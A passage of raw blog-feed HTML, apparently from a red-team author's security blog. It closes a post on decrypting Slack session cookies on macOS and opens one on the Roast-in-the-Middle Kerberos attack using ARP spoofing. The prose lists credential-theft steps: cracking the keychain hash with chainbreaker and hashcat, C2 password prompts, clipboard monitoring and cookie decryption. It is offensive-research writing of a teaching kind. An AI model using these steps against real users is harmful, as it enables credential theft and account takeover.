href="https://substackcdn.com/image/fetch/$s_!v5DJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!v5DJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 424w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 848w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 1272w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!v5DJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png" width="1000" height="269" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:269,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!v5DJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 424w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 848w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 1272w, https://substackcdn.com/image/fetch/$s_!v5DJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb536b4db-c1ad-4a59-8f6b-0af238fea8c9_1000x269.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 6&#8202;&#8212;&#8202;Slack&#8217;s Keychain&nbsp;Entry</figcaption></figure></div><p>The user&#8217;s password is required to extract the key from the login Keychain. There are a few potential routes to obtain the user&#8217;s password:</p><ul><li><p>Download the user&#8217;s login Keychain from <code>~/Library/Application Support/keychains/login.keychain-db</code>, extract the user&#8217;s password hash with <a href="https://github.com/n0fate/chainbreaker">chainbreaker</a>, and crack it with Hashcat (<code>-m 23100</code>)</p><ul><li><p>This retrives the <code>PBKDF2-HMAC-SHA1 3DES</code> version of the user&#8217;s password hash, which is prone to collisions (requiring the use of <code>&#8212; keep-guessing </code>with Hashcat)</p></li><li><p>Another method is to get the user&#8217;s ShadowHashData (<code>PBKDF2-SALTED-SHA512</code>) from the local OpenDirectory node (requires <code>root</code>)</p></li></ul></li><li><p>Use<a href="https://github.com/MythicAgents/apfell"> Apfell&#8217;s</a> or <a href="https://github.com/MythicAgents/poseidon">Poseidon&#8217;s</a> <code>prompt</code> command to coerce the user into submitting their password (similar to the Windows<a href="https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/Askcreds"> AskCreds</a> BOF technique)</p></li><li><p>Phishing and other social engineering techniques</p></li><li><p>Monitoring the clipboard through Poseidon&#8217;s <code>clipboard_monitor</code> command (the clipboard is not protected by transparency consent and control [TCC], unlike keystrokes)</p></li></ul><p>This is the biggest hurdle to clear&#8202;&#8212;&#8202;assuming you&#8217;ve accomplished this step, you can retrieve the <code>Slack Safe Storage</code> key from the login Keychain with chainbreaker (Figure 7).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EGNK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EGNK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 424w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 848w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 1272w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EGNK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png" width="1000" height="312" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:312,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EGNK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 424w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 848w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 1272w, https://substackcdn.com/image/fetch/$s_!EGNK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b8bed9-ad85-45cb-8605-55c2b64f1ff2_1000x312.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 7 &#8211;Slack Safe Storage Key Decryption</figcaption></figure></div><p>Now we can finally decrypt that Slack cookie! ChatGPT quickly converted this <a href="https://github.com/marx-yu/ChromeCookieDecryptor">ChromeCookieDecryptor</a> project to Python for me and with only a few slight tweaks, I had plaintext cookies (Figure 8)!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iKqB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iKqB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 424w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 848w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 1272w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iKqB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png" width="1000" height="397" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:397,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iKqB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 424w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 848w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 1272w, https://substackcdn.com/image/fetch/$s_!iKqB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78c58e6d-cc74-4df9-be00-3dbcdaf8ce5f_1000x397.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 8&#8202;&#8212;&#8202;SQLite Cookies Database Decryption</figcaption></figure></div><p>The decryption script can be found in this <a href="https://gist.github.com/Tw1sm/d9680def832288ca53fb1be95a174b1c">gist</a>.</p><h4>Conclusion</h4><p>Slack has followed the cookie storage blueprint used by browsers, like Google Chrome, making existing tooling and techniques adaptable for Slack exploitation. Windows hosts present a relatively easy opportunity for Slack compromise, opposed to macOS, where current tradecraft requires some additional work (or luck).</p>]]></content:encoded></item><item><title><![CDATA[RITM In-Depth]]></title><description><![CDATA[Taking a closer look at the Roast-in-the-Middle attack]]></description><link>https://blog.tw1sm.io/p/roast-in-the-middle</link><guid isPermaLink="false">https://blog.tw1sm.io/p/roast-in-the-middle</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 14 Nov 2022 05:07:10 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a83acb6a-8ed9-4ca6-842d-3f2a0b2b0a16_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In late September, Charlie Clark (<a href="https://twitter.com/exploitph">@exploitph</a>) published research titled <a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">New Attack Paths? AS Requested Service Tickets</a>. In this research, he describes an attack he dubs <em>Roast-in-the-Middle</em>, in which an unauthenticated attacker able to obtain a man-in-the-middle position can sniff AS-REQs and replay them in order to Kerberoast known accounts. He released a proof-of-concept along with the research, which you can find <a href="https://github.com/0xe7/RoastInTheMiddle">here</a>. Using his research and proof-of-concept code, I was able to create a Python implementation of the attack, <a href="https://github.com/Tw1sm/RITM">RITM</a>. This post will simply serve to describe how RITM works under the hood.</p><h2>ARP Spoofing</h2><p>Similar to the proof-of-concept code, RITM performs ARP spoofing to obtain the man-in-the-middle position required for the attack. The only difference between how the tools operate is RITM supports spoofing to a gateway, allowing for the attack to function even when the target clients and DCs are on different network segments. In my home lab, all the machines are on the same segment, like below, so ARP spoofing between then doesn&#8217;t involve a gateway. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tadT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tadT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 424w, https://substackcdn.com/image/fetch/$s_!tadT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 848w, https://substackcdn.com/image/fetch/$s_!tadT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 1272w, https://substackcdn.com/image/fetch/$s_!tadT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tadT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png" width="944" height="257" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/db3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:257,&quot;width&quot;:944,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61547,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tadT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 424w, https://substackcdn.com/image/fetch/$s_!tadT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 848w, https://substackcdn.com/image/fetch/$s_!tadT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 1272w, https://substackcdn.com/image/fetch/$s_!tadT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3ee2a2-0112-4a05-b4b2-1007d02493c0_944x257.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>However, in practice you&#8217;ll likely need to spoof between your target and the local gateway (which can be done by adjusting one CLI flag).</p><p>Before we start the attack, if we check the ARP cache on the Windows 10 client, everything will appear normal.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5EPW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5EPW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 424w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 848w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 1272w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5EPW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png" width="1456" height="856" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:856,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:283656,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5EPW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 424w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 848w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 1272w, https://substackcdn.com/image/fetch/$s_!5EPW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F07e4e4bf-f5eb-4f8e-9cbe-7eaa3bdaec47_1606x944.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 